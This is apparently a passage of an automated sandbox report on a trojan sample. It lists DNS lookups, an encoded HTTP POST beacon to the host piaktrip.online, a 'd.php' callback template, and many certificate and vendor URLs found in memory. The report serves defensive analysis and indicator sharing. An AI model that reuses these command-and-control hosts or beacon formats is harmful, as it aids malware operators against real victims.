chrome-search://ntpicon/ chrome-search://local-ntp/ chrome-search://theme/ data:8 equals www.youtube.com (Youtube)
Source: ToolSecurityBvg.exe, 0000000A.00000003.2801517154.000000000804C000.00000004.00000001.00020000.00000000.sdmpString found in binary or memory: www.youtube.com equals www.youtube.com (Youtube)
Source: global trafficDNS traffic detected: DNS query: piaktrip.online
Source: global trafficDNS traffic detected: DNS query: ntp.msn.com
Source: global trafficDNS traffic detected: DNS query: bzib.nelreports.net
Source: global trafficDNS traffic detected: DNS query: clients2.googleusercontent.com
Source: global trafficDNS traffic detected: DNS query: assets.msn.com
Source: global trafficDNS traffic detected: DNS query: sb.scorecardresearch.com
Source: global trafficDNS traffic detected: DNS query: c.msn.com
Source: global trafficDNS traffic detected: DNS query: api.msn.com
Source: global trafficDNS traffic detected: DNS query: chrome.cloudflare-dns.com
Source: unknownHTTP traffic detected: POST /aofchic.htm?zbvekz9gzr=e2anLGjWQlfNlWSpiKPUZflc5Y%2FfWFlFyz44R65XekKGLN7kGulQPXGH1mDhQ8vuituTWRuVRHCr5PFngH8fYg%3D%3D HTTP/1.1Connection: Keep-AliveAccept: */*User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/17.4.1 Safari/605.1.15Content-Length: 147Host: piaktrip.online
Source: SecuriteInfo.com.Trojan.Inject5.17530.4675.11921.exeString found in binary or memory: http://appsyndication.org/2006/appsyn
Source: RoboTaskLite.exe, 00000002.00000002.1846717324.0000000009D3F000.00000004.00000020.00020000.00000000.sdmp, cmd.exe, 00000004.00000002.2196490603.00000000054E6000.00000004.00000800.00020000.00000000.sdmpString found in binary or memory: http://cacerts.digicert.com/DigiCertAssuredIDCA-1.crt0
Source: RoboTaskLite.exe, 00000002.00000002.1846717324.0000000009D3F000.00000004.00000020.00020000.00000000.sdmp, cmd.exe, 00000004.00000002.2196490603.00000000054E6000.00000004.00000800.00020000.00000000.sdmpString found in binary or memory: http://cacerts.digicert.com/DigiCertAssuredIDCodeSigningCA-1.crt0
Source: SecuriteInfo.com.Trojan.Inject5.17530.4675.11921.exe, 00000001.00000003.1816845229.00000000009A9000.00000004.00000020.00020000.00000000.sdmp, RoboTaskLite.exe, 00000002.00000002.1846717324.0000000009D3F000.00000004.00000020.00020000.00000000.sdmp, RoboTaskLite.exe, 00000002.00000003.1829507773.000000000A9AB000.00000004.00000001.00020000.00000000.sdmp, RoboTaskLite.exe, 00000002.00000003.1832444784.0000000000A4C000.00000004.00000001.00020000.00000000.sdmp, cmd.exe, 00000004.00000002.2196490603.00000000054E6000.00000004.00000800.00020000.00000000.sdmpString found in binary or memory: http://cacerts.digicert.com/DigiCertAssuredIDRootCA.crt0
Source: ToolSecurityBvg.exe, 0000000A.00000003.2824175276.000000000806B000.00000004.00000001.00020000.00000000.sdmp, ToolSecurityBvg.exe, 0000000A.00000003.2736944302.000000000804C000.00000004.00000001.00020000.00000000.sdmpString found in binary or memory: http://cacerts.digicert.com/DigiCertGlobalRootCA.crt0B
Source: ToolSecurityBvg.exe, 0000000A.00000003.2851642447.000000000806B000.00000004.00000001.00020000.00000000.sdmp, ToolSecurityBvg.exe, 0000000A.00000003.2800278995.0000000002E50000.00000004.00000001.00020000.00000000.sdmp, ToolSecurityBvg.exe, 0000000A.00000003.2813594876.000000000806B000.00000004.00000001.00020000.00000000.sdmp, ToolSecurityBvg.exe, 0000000A.00000003.2771428723.000000000806B000.00000004.00000001.00020000.00000000.sdmp, ToolSecurityBvg.exe, 0000000A.00000003.2735686937.000000000806B000.00000004.00000001.00020000.00000000.sdmp, ToolSecurityBvg.exe, 0000000A.00000003.2847462277.000000000806B000.00000004.00000001.00020000.00000000.sdmp, ToolSecurityBvg.exe, 0000000A.00000003.2725129682.000000000806B000.00000004.00000001.00020000.00000000.sdmpString found in binary or memory: http://cacerts.digicert.com/DigiCertGlobalRootG3.crt0B
Source: SecuriteInfo.com.Trojan.Inject5.17530.4675.11921.exe, 00000001.00000003.1816845229.00000000009A9000.00000004.00000020.00020000.00000000.sdmp, RoboTaskLite.exe, 00000002.00000003.1829507773.000000000A9AB000.00000004.00000001.00020000.00000000.sdmp, RoboTaskLite.exe, 00000002.00000003.1832444784.0000000000A4C000.00000004.00000001.00020000.00000000.sdmpString found in binary or memory: http://cacerts.digicert.com/DigiCertSHA2AssuredIDCodeSigningCA.crt0
Source: RoboTaskLite.exe, 00000002.00000002.1846717324.0000000009D3F000.00000004.00000020.00020000.00000000.sdmp, cmd.exe, 00000004.00000002.2196490603.00000000054E6000.00000004.00000800.00020000.00000000.sdmpString found in binary or memory: http://cacerts.digicert.com/DigiCertSHA2AssuredIDTimestampingCA.crt0
Source: ToolSecurityBvg.exe, 0000000A.00000003.2770671907.0000000002E50000.00000004.00000001.00020000.00000000.sdmp, ToolSecurityBvg.exe, 0000000A.00000003.2824175276.000000000806B000.00000004.00000001.00020000.00000000.sdmp, ToolSecurityBvg.exe, 0000000A.00000003.2736944302.000000000804C000.00000004.00000001.00020000.00000000.sdmpString found in binary or memory: http://cacerts.digicert.com/DigiCertTLSRSASHA2562020CA1-1.crt0
Source: RoboTaskLite.exe, 00000002.00000003.1828448089.0000000000A45000.00000004.00000001.00020000.00000000.sdmpString found in binary or memory: http://crl.comodoca.com/AAACertificateServices.crl04
Source: RoboTaskLite.exe, 00000002.00000003.1828448089.0000000000A45000.00000004.00000001.00020000.00000000.sdmpString found in binary or memory: http://crl.sectigo.com/SectigoPublicCodeSigningCAR36.crl0y
Source: RoboTaskLite.exe, 00000002.00000003.1828448089.0000000000A45000.00000004.00000001.00020000.00000000.sdmpString found in binary or memory: http://crl.sectigo.com/SectigoPublicCodeSigningRootR46.crl0
Source: RoboTaskLite.exe, 00000002.00000003.1828448089.0000000000A45000.00000004.00000001.00020000.00000000.sdmpString found in binary or memory: http://crl.sectigo.com/SectigoRSATimeStampingCA.crl0t
Source: RoboTaskLite.exe, 00000002.00000002.1846717324.0000000009D3F000.00000004.00000020.00020000.00000000.sdmp, cmd.exe, 00000004.00000002.2196490603.00000000054E6000.00000004.00000800.00020000.00000000.sdmpString found in binary or memory: http://crl3.digicert.com/DigiCertAssuredIDCA-1.crl08
Source: RoboTaskLite.exe, 00000002.00000002.1846717324.0000000009D3F000.00000004.00000020.00020000.00000000.sdmp, cmd.exe, 00000004.00000002.2196490603.00000000054E6000.00000004.00000800.00020000.00000000.sdmpString found in binary or memory: http://crl3.digicert.com/DigiCertAssuredIDRootCA.crl0:
Source: SecuriteInfo.com.Trojan.Inject5.17530.4675.11921.exe, 00000001.00000003.1816845229.00000000009A9000.00000004.00000020.00020000.00000000.sdmp, RoboTaskLite.exe, 00000002.00000003.1829507773.000000000A9AB000.00000004.00000001.00020000.00000000.sdmp, RoboTaskLite.exe, 00000002.00000003.1832444784.0000000000A4C000.00000004.00000001.00020000.00000000.sdmpString found in binary or memory: http://crl3.digicert.com/DigiCertAssuredIDRootCA.crl0O
Source: RoboTaskLite.exe, 00000002.00000002.1846717324.0000000009D3F000.00000004.00000020.00020000.00000000.sdmp, cmd.exe, 00000004.00000002.2196490603.00000000054E6000.00000004.00000800.00020000.00000000.sdmpString found in binary or memory: http://crl3.digicert.com/DigiCertAssuredIDRootCA.crl0P
Source: ToolSecurityBvg.exe, 0000000A.00000003.2824175276.000000000806B000.00000004.00000001.00020000.00000000.sdmp, ToolSecurityBvg.exe, 0000000A.00000003.2736944302.000000000804C000.00000004.00000001.00020000.00000000.sdmpString found in binary or memory: http://crl3.digicert.com/DigiCertGlobalRootCA.crl0=
Source: ToolSecurityBvg.exe, 0000000A.00000003.2851642447.000000000806B000.00000004.00000001.00020000.00000000.sdmp, ToolSecurityBvg.exe, 0000000A.00000003.2800278995.0000000002E50000.00000004.00000001.00020000.00000000.sdmp, ToolSecurityBvg.exe, 0000000A.00000003.2813594876.000000000806B000.00000004.00000001.00020000.00000000.sdmp, ToolSecurityBvg.exe, 0000000A.00000003.2771428723.000000000806B000.00000004.00000001.00020000.00000000.sdmp, ToolSecurityBvg.exe, 0000000A.00000003.2735686937.000000000806B000.00000004.00000001.00020000.00000000.sdmp, ToolSecurityBvg.exe, 0000000A.00000003.2847462277.000000000806B000.00000004.00000001.00020000.00000000.sdmp, ToolSecurityBvg.exe, 0000000A.00000003.2725129682.000000000806B000.00000004.00000001.00020000.00000000.sdmpString found in binary or memory: http://crl3.digicert.com/DigiCertGlobalRootG3.crl0
Source: ToolSecurityBvg.exe, 0000000A.00000003.2770671907.0000000002E50000.00000004.00000001.00020000.00000000.sdmp, ToolSecurityBvg.exe, 0000000A.00000003.2824175276.000000000806B000.00000004.00000001.00020000.00000000.sdmp, ToolSecurityBvg.exe, 0000000A.00000003.2736944302.000000000804C000.00000004.00000001.00020000.00000000.sdmpString found in binary or memory: http://crl3.digicert.com/DigiCertTLSRSASHA2562020CA1-4.crl0
Source: RoboTaskLite.exe, 00000002.00000002.1846717324.0000000009D3F000.00000004.00000020.00020000.00000000.sdmp, cmd.exe, 00000004.00000002.2196490603.00000000054E6000.00000004.00000800.00020000.00000000.sdmpString found in binary or memory: http://crl3.digicert.com/assured-cs-g1.crl00
Source: SecuriteInfo.com.Trojan.Inject5.17530.4675.11921.exe, 00000001.00000003.1816845229.00000000009A9000.00000004.00000020.00020000.00000000.sdmp, RoboTaskLite.exe, 00000002.00000003.1829507773.000000000A9AB000.00000004.00000001.00020000.00000000.sdmp, RoboTaskLite.exe, 00000002.00000003.1832444784.0000000000A4C000.00000004.00000001.00020000.00000000.sdmpString found in binary or memory: http://crl3.digicert.com/sha2-assured-cs-g1.crl05
Source: RoboTaskLite.exe, 00000002.00000002.1846717324.0000000009D3F000.00000004.00000020.00020000.00000000.sdmp, cmd.exe, 00000004.00000002.2196490603.00000000054E6000.00000004.00000800.00020000.00000000.sdmpString found in binary or memory: http://crl3.digicert.com/sha2-assured-ts.crl02
Source: RoboTaskLite.exe, 00000002.00000002.1846717324.0000000009D3F000.00000004.00000020.00020000.00000000.sdmp, cmd.exe, 00000004.00000002.2196490603.00000000054E6000.00000004.00000800.00020000.00000000.sdmpString found in binary or memory: http://crl4.digicert.com/DigiCertAssuredIDCA-1.crl0w
Source: RoboTaskLite.exe, 00000002.00000002.1846717324.0000000009D3F000.00000004.00000020.00020000.00000000.sdmp, cmd.exe, 00000004.00000002.2196490603.00000000054E6000.00000004.00000800.00020000.00000000.sdmpString found in binary or memory: http://crl4.digicert.com/DigiCertAssuredIDRootCA.crl0
Source: SecuriteInfo.com.Trojan.Inject5.17530.4675.11921.exe, 00000001.00000003.1816845229.00000000009A9000.00000004.00000020.00020000.00000000.sdmp, RoboTaskLite.exe, 00000002.00000002.1846717324.0000000009D3F000.00000004.00000020.00020000.00000000.sdmp, RoboTaskLite.exe, 00000002.00000003.1829507773.000000000A9AB000.00000004.00000001.00020000.00000000.sdmp, RoboTaskLite.exe, 00000002.00000003.1832444784.0000000000A4C000.00000004.00000001.00020000.00000000.sdmp, cmd.exe, 00000004.00000002.2196490603.00000000054E6000.00000004.00000800.00020000.00000000.sdmpString found in binary or memory: http://crl4.digicert.com/DigiCertAssuredIDRootCA.crl0:
Source: ToolSecurityBvg.exe, 0000000A.00000003.2770671907.0000000002E50000.00000004.00000001.00020000.00000000.sdmp, ToolSecurityBvg.exe, 0000000A.00000003.2824175276.000000000806B000.00000004.00000001.00020000.00000000.sdmp, ToolSecurityBvg.exe, 0000000A.00000003.2736944302.000000000804C000.00000004.00000001.00020000.00000000.sdmpString found in binary or memory: http://crl4.digicert.com/DigiCertTLSRSASHA2562020CA1-4.crl0
Source: RoboTaskLite.exe, 00000002.00000002.1846717324.0000000009D3F000.00000004.00000020.00020000.00000000.sdmp, cmd.exe, 00000004.00000002.2196490603.00000000054E6000.00000004.00000800.00020000.00000000.sdmpString found in binary or memory: http://crl4.digicert.com/assured-cs-g1.crl0L
Source: SecuriteInfo.com.Trojan.Inject5.17530.4675.11921.exe, 00000001.00000003.1816845229.00000000009A9000.00000004.00000020.00020000.00000000.sdmp, RoboTaskLite.exe, 00000002.00000003.1829507773.000000000A9AB000.00000004.00000001.00020000.00000000.sdmp, RoboTaskLite.exe, 00000002.00000003.1832444784.0000000000A4C000.00000004.00000001.00020000.00000000.sdmpString found in binary or memory: http://crl4.digicert.com/sha2-assured-cs-g1.crl0K
Source: RoboTaskLite.exe, 00000002.00000002.1846717324.0000000009D3F000.00000004.00000020.00020000.00000000.sdmp, cmd.exe, 00000004.00000002.2196490603.00000000054E6000.00000004.00000800.00020000.00000000.sdmpString found in binary or memory: http://crl4.digicert.com/sha2-assured-ts.crl0
Source: RoboTaskLite.exe, 00000002.00000003.1828448089.0000000000A45000.00000004.00000001.00020000.00000000.sdmpString found in binary or memory: http://crt.sectigo.com/SectigoPublicCodeSigningCAR36.crt0#
Source: RoboTaskLite.exe, 00000002.00000003.1828448089.0000000000A45000.00000004.00000001.00020000.00000000.sdmpString found in binary or memory: http://crt.sectigo.com/SectigoPublicCodeSigningRootR46.p7c0#
Source: RoboTaskLite.exe, 00000002.00000003.1828448089.0000000000A45000.00000004.00000001.00020000.00000000.sdmpString found in binary or memory: http://crt.sectigo.com/SectigoRSATimeStampingCA.crt0#
Source: ToolSecurityBvg.exe, 0000000A.00000003.2894828851.0000000008092000.00000004.00000001.00020000.00000000.sdmp, ToolSecurityBvg.exe, 0000000A.00000003.2813594876.0000000008092000.00000004.00000001.00020000.00000000.sdmpString found in binary or memory: http://e5.i.lencr.org/0A
Source: ToolSecurityBvg.exe, 0000000A.00000003.2894828851.0000000008092000.00000004.00000001.00020000.00000000.sdmp, ToolSecurityBvg.exe, 0000000A.00000003.2813594876.0000000008092000.00000004.00000001.00020000.00000000.sdmpString found in binary or memory: http://e5.o.lencr.org0
Source: RoboTaskLite.exe, 00000002.00000003.1828448089.0000000000A45000.00000004.00000001.00020000.00000000.sdmpString found in binary or memory: http://ocsp.comodoca.com0
Source: ToolSecurityBvg.exe, 0000000A.00000003.2851642447.000000000806B000.00000004.00000001.00020000.00000000.sdmp, ToolSecurityBvg.exe, 0000000A.00000003.2800278995.0000000002E50000.00000004.00000001.00020000.00000000.sdmp, ToolSecurityBvg.exe, 0000000A.00000003.2824175276.000000000806B000.00000004.00000001.00020000.00000000.sdmp, ToolSecurityBvg.exe, 0000000A.00000003.2813594876.000000000806B000.00000004.00000001.00020000.00000000.sdmp, ToolSecurityBvg.exe, 0000000A.00000003.2736944302.000000000804C000.00000004.00000001.00020000.00000000.sdmp, ToolSecurityBvg.exe, 0000000A.00000003.2771428723.000000000806B000.00000004.00000001.00020000.00000000.sdmp, ToolSecurityBvg.exe, 0000000A.00000003.2735686937.000000000806B000.00000004.00000001.00020000.00000000.sdmp, ToolSecurityBvg.exe, 0000000A.00000003.2847462277.000000000806B000.00000004.00000001.00020000.00000000.sdmp, ToolSecurityBvg.exe, 0000000A.00000003.2725129682.000000000806B000.00000004.00000001.00020000.00000000.sdmpString found in binary or memory: http://ocsp.digicert.com0
Source: RoboTaskLite.exe, 00000002.00000002.1846717324.0000000009D3F000.00000004.00000020.00020000.00000000.sdmp, cmd.exe, 00000004.00000002.2196490603.00000000054E6000.00000004.00000800.00020000.00000000.sdmpString found in binary or memory: http://ocsp.digicert.com0A
Source: SecuriteInfo.com.Trojan.Inject5.17530.4675.11921.exe, 00000001.00000003.1816845229.00000000009A9000.00000004.00000020.00020000.00000000.sdmp, RoboTaskLite.exe, 00000002.00000002.1846717324.0000000009D3F000.00000004.00000020.00020000.00000000.sdmp, RoboTaskLite.exe, 00000002.00000003.1829507773.000000000A9AB000.00000004.00000001.00020000.00000000.sdmp, RoboTaskLite.exe, 00000002.00000003.1832444784.0000000000A4C000.00000004.00000001.00020000.00000000.sdmp, cmd.exe, 00000004.00000002.2196490603.00000000054E6000.00000004.00000800.00020000.00000000.sdmpString found in binary or memory: http://ocsp.digicert.com0C
Source: ToolSecurityBvg.exe, 0000000A.00000003.2770671907.0000000002E50000.00000004.00000001.00020000.00000000.sdmp, ToolSecurityBvg.exe, 0000000A.00000003.2824175276.000000000806B000.00000004.00000001.00020000.00000000.sdmp, ToolSecurityBvg.exe, 0000000A.00000003.2736944302.000000000804C000.00000004.00000001.00020000.00000000.sdmpString found in binary or memory: http://ocsp.digicert.com0I
Source: RoboTaskLite.exe, 00000002.00000002.1846717324.0000000009D3F000.00000004.00000020.00020000.00000000.sdmp, cmd.exe, 00000004.00000002.2196490603.00000000054E6000.00000004.00000800.00020000.00000000.sdmpString found in binary or memory: http://ocsp.digicert.com0L
Source: SecuriteInfo.com.Trojan.Inject5.17530.4675.11921.exe, 00000001.00000003.1816845229.00000000009A9000.00000004.00000020.00020000.00000000.sdmp, RoboTaskLite.exe, 00000002.00000003.1829507773.000000000A9AB000.00000004.00000001.00020000.00000000.sdmp, RoboTaskLite.exe, 00000002.00000003.1832444784.0000000000A4C000.00000004.00000001.00020000.00000000.sdmpString found in binary or memory: http://ocsp.digicert.com0N
Source: RoboTaskLite.exe, 00000002.00000002.1846717324.0000000009D3F000.00000004.00000020.00020000.00000000.sdmp, cmd.exe, 00000004.00000002.2196490603.00000000054E6000.00000004.00000800.00020000.00000000.sdmpString found in binary or memory: http://ocsp.digicert.com0O
Source: RoboTaskLite.exe, 00000002.00000003.1828448089.0000000000A45000.00000004.00000001.00020000.00000000.sdmpString found in binary or memory: http://ocsp.sectigo.com0
Source: SecuriteInfo.com.Trojan.Inject5.17530.4675.11921.exe, 00000001.00000003.1816845229.00000000009A9000.00000004.00000020.00020000.00000000.sdmp, RoboTaskLite.exe, 00000002.00000003.1829507773.000000000A9AB000.00000004.00000001.00020000.00000000.sdmp, RoboTaskLite.exe, 00000002.00000003.1832444784.0000000000A4C000.00000004.00000001.00020000.00000000.sdmpString found in binary or memory: http://s.symcb.com/universal-root.crl0
Source: SecuriteInfo.com.Trojan.Inject5.17530.4675.11921.exe, 00000001.00000003.1816845229.00000000009A9000.00000004.00000020.00020000.00000000.sdmp, RoboTaskLite.exe, 00000002.00000003.1829507773.000000000A9AB000.00000004.00000001.00020000.00000000.sdmp, RoboTaskLite.exe, 00000002.00000003.1832444784.0000000000A4C000.00000004.00000001.00020000.00000000.sdmpString found in binary or memory: http://s.symcd.com06
Source: RoboTaskLite.exe, 00000002.00000002.1846717324.0000000009D3F000.00000004.00000020.00020000.00000000.sdmp, cmd.exe, 00000004.00000002.2196490603.00000000054E6000.00000004.00000800.00020000.00000000.sdmpString found in binary or memory: http://s1.symcb.com/pca3-g5.crl0
Source: RoboTaskLite.exe, 00000002.00000002.1846717324.0000000009D3F000.00000004.00000020.00020000.00000000.sdmp, cmd.exe, 00000004.00000002.2196490603.00000000054E6000.00000004.00000800.00020000.00000000.sdmpString found in binary or memory: http://s2.symcb.com0
Source: RoboTaskLite.exe, 00000002.00000002.1846717324.0000000009D3F000.00000004.00000020.00020000.00000000.sdmp, cmd.exe, 00000004.00000002.2196490603.00000000054E6000.00000004.00000800.00020000.00000000.sdmpString found in binary or memory: http://sv.symcb.com/sv.crl0a
Source: RoboTaskLite.exe, 00000002.00000002.1846717324.0000000009D3F000.00000004.00000020.00020000.00000000.sdmp, cmd.exe, 00000004.00000002.2196490603.00000000054E6000.00000004.00000800.00020000.00000000.sdmpString found in binary or memory: http://sv.symcb.com/sv.crt0
Source: RoboTaskLite.exe, 00000002.00000002.1846717324.0000000009D3F000.00000004.00000020.00020000.00000000.sdmp, cmd.exe, 00000004.00000002.2196490603.00000000054E6000.00000004.00000800.00020000.00000000.sdmpString found in binary or memory: http://sv.symcd.com0&
Source: SecuriteInfo.com.Trojan.Inject5.17530.4675.11921.exe, 00000001.00000003.1816845229.00000000009A9000.00000004.00000020.00020000.00000000.sdmp, RoboTaskLite.exe, 00000002.00000003.1829507773.000000000A9AB000.00000004.00000001.00020000.00000000.sdmp, RoboTaskLite.exe, 00000002.00000003.1832444784.0000000000A4C000.00000004.00000001.00020000.00000000.sdmpString found in binary or memory: http://ts-aia.ws.symantec.com/sha256-tss-ca.cer0(
Source: SecuriteInfo.com.Trojan.Inject5.17530.4675.11921.exe, 00000001.00000003.1816845229.00000000009A9000.00000004.00000020.00020000.00000000.sdmp, RoboTaskLite.exe, 00000002.00000003.1829507773.000000000A9AB000.00000004.00000001.00020000.00000000.sdmp, RoboTaskLite.exe, 00000002.00000003.1832444784.0000000000A4C000.00000004.00000001.00020000.00000000.sdmpString found in binary or memory: http://ts-crl.ws.symantec.com/sha256-tss-ca.crl0
Source: SecuriteInfo.com.Trojan.Inject5.17530.4675.11921.exe, 00000001.00000003.1816845229.00000000009A9000.00000004.00000020.00020000.00000000.sdmp, RoboTaskLite.exe, 00000002.00000003.1829507773.000000000A9AB000.00000004.00000001.00020000.00000000.sdmp, RoboTaskLite.exe, 00000002.00000003.1832444784.0000000000A4C000.00000004.00000001.00020000.00000000.sdmpString found in binary or memory: http://ts-ocsp.ws.symantec.com0;
Source: SecuriteInfo.com.Trojan.Inject5.17530.4675.11921.exe, 00000000.00000003.1789442174.0000000003659000.00000004.00000020.00020000.00000000.sdmp, SecuriteInfo.com.Trojan.Inject5.17530.4675.11921.exe, 00000000.00000003.1790633169.0000000003650000.00000004.00000020.00020000.00000000.sdmp, SecuriteInfo.com.Trojan.Inject5.17530.4675.11921.exe, 00000000.00000003.2121140157.000000000369B000.00000004.00000020.00020000.00000000.sdmp, SecuriteInfo.com.Trojan.Inject5.17530.4675.11921.exe, 00000000.00000003.1790530235.0000000003650000.00000004.00000020.00020000.00000000.sdmp, SecuriteInfo.com.Trojan.Inject5.17530.4675.11921.exe, 00000000.00000003.2120855529.0000000005B85000.00000004.00000800.00020000.00000000.sdmp, SecuriteInfo.com.Trojan.Inject5.17530.4675.11921.exe, 00000000.00000003.2120985738.0000000005770000.00000004.00000020.00020000.00000000.sdmp, SecuriteInfo.com.Trojan.Inject5.17530.4675.11921.exe, 00000000.00000003.1789442174.000000000369B000.00000004.00000020.00020000.00000000.sdmp, SecuriteInfo.com.Trojan.Inject5.17530.4675.11921.exe, 00000000.00000003.2121404816.000000000369B000.00000004.00000020.00020000.00000000.sdmp, SecuriteInfo.com.Trojan.Inject5.17530.4675.11921.exe, 00000000.00000003.1790633169.000000000369B000.00000004.00000020.00020000.00000000.sdmp, SecuriteInfo.com.Trojan.Inject5.17530.4675.11921.exe, 00000001.00000002.2119761296.0000000004B60000.00000004.00000020.00020000.00000000.sdmp, SecuriteInfo.com.Trojan.Inject5.17530.4675.11921.exe, 00000001.00000002.2119975249.0000000004E50000.00000004.00000800.00020000.00000000.sdmpString found in binary or memory: http://wixtoolset.org/schemas/v4/2008/Burn
Source: SecuriteInfo.com.Trojan.Inject5.17530.4675.11921.exe, 00000001.00000002.2119975249.0000000004E50000.00000004.00000800.00020000.00000000.sdmpString found in binary or memory: http://wixtoolset.org/schemas/v4/2008/BurnHd
Source: SecuriteInfo.com.Trojan.Inject5.17530.4675.11921.exe, 00000001.00000003.1817039167.00000000009A0000.00000004.00000020.00020000.00000000.sdmp, SecuriteInfo.com.Trojan.Inject5.17530.4675.11921.exe, 00000001.00000003.1816845229.00000000009A9000.00000004.00000020.00020000.00000000.sdmp, SecuriteInfo.com.Trojan.Inject5.17530.4675.11921.exe, 00000001.00000003.1816993727.00000000009A0000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: http://wixtoolset.org/schemas/v4/BootstrapperApplicationData
Source: SecuriteInfo.com.Trojan.Inject5.17530.4675.11921.exe, 00000001.00000003.1816845229.00000000009A9000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: http://wixtoolset.org/schemas/v4/BundleExtensionData
Source: RoboTaskLite.exe, 00000002.00000002.1846717324.0000000009D3F000.00000004.00000020.00020000.00000000.sdmp, cmd.exe, 00000004.00000002.2196490603.00000000054E6000.00000004.00000800.00020000.00000000.sdmp, ToolSecurityBvg.exe, 0000000A.00000000.2112594351.00000001401E0000.00000002.00000001.01000000.00000012.sdmpString found in binary or memory: http://www.???.xx/?search=%s
Source: SecuriteInfo.com.Trojan.Inject5.17530.4675.11921.exe, 00000001.00000003.1816845229.00000000009A9000.00000004.00000020.00020000.00000000.sdmp, RoboTaskLite.exe, 00000002.00000003.1829507773.000000000A9AB000.00000004.00000001.00020000.00000000.sdmp, RoboTaskLite.exe, 00000002.00000003.1832444784.0000000000A4C000.00000004.00000001.00020000.00000000.sdmp, ToolSecurityBvg.exe, 0000000A.00000003.2770671907.0000000002E50000.00000004.00000001.00020000.00000000.sdmp, ToolSecurityBvg.exe, 0000000A.00000003.2824175276.000000000806B000.00000004.00000001.00020000.00000000.sdmp, ToolSecurityBvg.exe, 0000000A.00000003.2736944302.000000000804C000.00000004.00000001.00020000.00000000.sdmpString found in binary or memory: http://www.digicert.com/CPS0
Source: RoboTaskLite.exe, 00000002.00000002.1846717324.0000000009D3F000.00000004.00000020.00020000.00000000.sdmp, cmd.exe, 00000004.00000002.2196490603.00000000054E6000.00000004.00000800.00020000.00000000.sdmpString found in binary or memory: http://www.digicert.com/ssl-cps-repository.htm0
Source: RoboTaskLite.exe, 00000002.00000000.1817947280.00000000005C0000.00000002.00000001.01000000.00000007.sdmp, RoboTaskLite.exe, 00000002.00000003.1828448089.0000000000A45000.00000004.00000001.00020000.00000000.sdmpString found in binary or memory: http://www.geocities.com/SiliconValley/Network/2114/zipbeta.html
Source: RoboTaskLite.exe, 00000002.00000002.1846717324.0000000009CE9000.00000004.00000020.00020000.00000000.sdmp, cmd.exe, 00000004.00000002.2196490603.000000000549D000.00000004.00000800.00020000.00000000.sdmpString found in binary or memory: http://www.info-zip.org/
Source: RoboTaskLite.exe, 00000002.00000000.1817947280.00000000005C0000.00000002.00000001.01000000.00000007.sdmp, RoboTaskLite.exe, 00000002.00000003.1828448089.0000000000A45000.00000004.00000001.00020000.00000000.sdmpString found in binary or memory: http://www.robotask.com/
Source: RoboTaskLite.exe, 00000002.00000000.1817659772.0000000000401000.00000020.00000001.01000000.00000007.sdmpString found in binary or memory: http://www.robotask.com/?ref=rtliteopenX5OP8O
Source: RoboTaskLite.exe, 00000002.00000000.1817659772.0000000000401000.00000020.00000001.01000000.00000007.sdmpString found in binary or memory: http://www.robotask.com/bugreport/
Source: RoboTaskLite.exe, 00000002.00000000.1817659772.0000000000401000.00000020.00000001.01000000.00000007.sdmpString found in binary or memory: http://www.robotask.com/support/?ref=rtliteopen
Source: RoboTaskLite.exe, 00000002.00000000.1817659772.0000000000401000.00000020.00000001.01000000.00000007.sdmpString found in binary or memory: http://www.robotask.com/upgradefromlite/open
Source: RoboTaskLite.exe, 00000002.00000000.1817659772.0000000000401000.00000020.00000001.01000000.00000007.sdmpString found in binary or memory: http://www.robotask.com/upgradefromlite/openU
Source: RoboTaskLite.exe, 00000002.00000002.1846717324.0000000009D3F000.00000004.00000020.00020000.00000000.sdmp, cmd.exe, 00000004.00000002.2196490603.00000000054E6000.00000004.00000800.00020000.00000000.sdmp, ToolSecurityBvg.exe, 0000000A.00000000.2112594351.00000001401E0000.00000002.00000001.01000000.00000012.sdmpString found in binary or memory: http://www.softwareok.com
Source: RoboTaskLite.exe, 00000002.00000002.1846717324.0000000009D3F000.00000004.00000020.00020000.00000000.sdmp, cmd.exe, 00000004.00000002.2196490603.00000000054E6000.00000004.00000800.00020000.00000000.sdmp, ToolSecurityBvg.exe, 0000000A.00000000.2112594351.00000001401E0000.00000002.00000001.01000000.00000012.sdmpString found in binary or memory: http://www.softwareok.de
Source: cmd.exe, 00000004.00000002.2196490603.00000000054E6000.00000004.00000800.00020000.00000000.sdmpString found in binary or memory: http://www.surfok.de/
Source: RoboTaskLite.exe, 00000002.00000002.1846717324.0000000009D3F000.00000004.00000020.00020000.00000000.sdmp, cmd.exe, 00000004.00000002.2196490603.00000000054E6000.00000004.00000800.00020000.00000000.sdmpString found in binary or memory: http://www.symauth.com/cps0(
Source: RoboTaskLite.exe, 00000002.00000002.1846717324.0000000009D3F000.00000004.00000020.00020000.00000000.sdmp, cmd.exe, 00000004.00000002.2196490603.00000000054E6000.00000004.00000800.00020000.00000000.sdmpString found in binary or memory: http://www.symauth.com/rpa00
Source: RoboTaskLite.exe, 00000002.00000002.1846717324.0000000009D3F000.00000004.00000020.00020000.00000000.sdmp, cmd.exe, 00000004.00000002.2196490603.00000000054E6000.00000004.00000800.00020000.00000000.sdmpString found in binary or memory: http://www.vmware.com/0
Source: RoboTaskLite.exe, 00000002.00000002.1846717324.0000000009D3F000.00000004.00000020.00020000.00000000.sdmp, cmd.exe, 00000004.00000002.2196490603.00000000054E6000.00000004.00000800.00020000.00000000.sdmpString found in binary or memory: http://www.vmware.com/0/
Source: RoboTaskLite.exe, 00000002.00000002.1851536791.0000000050051000.00000020.00000001.01000000.00000008.sdmpString found in binary or memory: https://%s:%u/d.phpP
Source: ToolSecurityBvg.exe, 0000000A.00000003.2847462277.000000000806B000.00000004.00000001.00020000.00000000.sdmpString found in binary or memory: https://api.msn.cn/auth/cookie/silentpassport
Source: ToolSecurityBvg.exe, 0000000A.00000003.2735957927.0000000002E50000.00000004.00000001.00020000.00000000.sdmpString found in binary or memory: https://assets.msn.com%22
Source: ToolSecurityBvg.exe, 0000000A.00000003.2731991121.00000000080EE000.00000004.00000001.00020000.00000000.sdmpString found in binary or memory: https://assets.msn.com&quot;
Source: ToolSecurityBvg.exe, 0000000A.00000003.2786383350.0000000002EC6000.00000004.00000001.00020000.00000000.sdmpString found in binary or memory: https://assets.msn.com/bundles/v1/edgeChromium/latest/card-actions-wc.339ecd177eceacc21efc.js
